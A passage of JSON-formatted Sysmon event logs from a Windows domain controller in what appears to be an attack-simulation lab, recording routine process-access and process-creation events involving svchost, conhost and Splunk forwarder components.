11:51:04","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:04","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2661,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:04.486\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:51:04.486","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:51:04","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:04","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2662,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:04.486\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:51:04.486","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:51:04","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:04","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2663,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:04.486\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:51:04.486","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:51:04","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:04","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2664,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:04.486\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:51:04.486","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:51:04","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:04","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2665,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:04.486\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:51:04.486","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:51:04","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:04","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2666,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:04.486\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-00105DC70200}\r\nSourceProcessId: 3756\r\nSourceThreadId: 3776\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-4028-5F2D-0000-0010A3850400}\r\nTargetProcessId: 4360\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:51:04.486","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-00105DC70200}","SourceProcessId":"3756","SourceThreadId":"3776","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-4028-5F2D-0000-0010A3850400}","TargetProcessId":"4360","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:51:04","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:04","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2667,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:04.627\r\nSourceProcessGUID: {90617006-4028-5F2D-0000-0010A3850400}\r\nSourceProcessId: 4360\r\nSourceThreadId: 4364\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nTargetProcessId: 2820\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nGrantedAccess: 0x101400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe+6025c5|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe+6020f6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe+59e67|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe+5b88c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe+8e7d70|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:51:04.627","SourceProcessGUID":"{90617006-4028-5F2D-0000-0010A3850400}","SourceProcessId":"4360","SourceThreadId":"4364","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-0010FE150200}","TargetProcessId":"2820","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","GrantedAccess":"0x101400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe+6025c5|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe+6020f6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe+59e67|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe+5b88c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe+8e7d70|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:51:04","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:05","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":2668,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:05.331\r\nProcessGuid: {90617006-4029-5F2D-0000-001087870400}\r\nProcessId: 3148\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe\r\nFileVersion: 8.0.2\r\nDescription: Network monitor\r\nProduct: Splunk Application\r\nCompany: Splunk Inc.\r\nOriginalFileName: splunk-netmon.exe\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe\"\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=8746B8C1724B67C2B1261446C0CFAA57,SHA256=7EFD09FD383FAA75C5D2990E6DBBFD846AEAA08B7037C7D66B4A0EF2AE0866B3,IMPHASH=7B985F47B35272AD7B5218255ACE7AEC\r\nParentProcessGuid: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nParentProcessId: 2820\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:51:05.331","ProcessGuid":"{90617006-4029-5F2D-0000-001087870400}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe","FileVersion":"8.0.2","Description":"Network monitor","Product":"Splunk Application","Company":"Splunk Inc.","OriginalFileName":"splunk-netmon.exe","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe\"","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=8746B8C1724B67C2B1261446C0CFAA57,SHA256=7EFD09FD383FAA75C5D2990E6DBBFD846AEAA08B7037C7D66B4A0EF2AE0866B3,IMPHASH=7B985F47B35272AD7B5218255ACE7AEC","ParentProcessGuid":"{90617006-3FE4-5F2D-0000-0010FE150200}","ParentProcessId":"2820","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 11:51:06","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:05","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2669,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:05.331\r\nSourceProcessGUID: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nSourceProcessId: 2820\r\nSourceThreadId: 4076\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-4029-5F2D-0000-001087870400}\r\nTargetProcessId: 3148\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 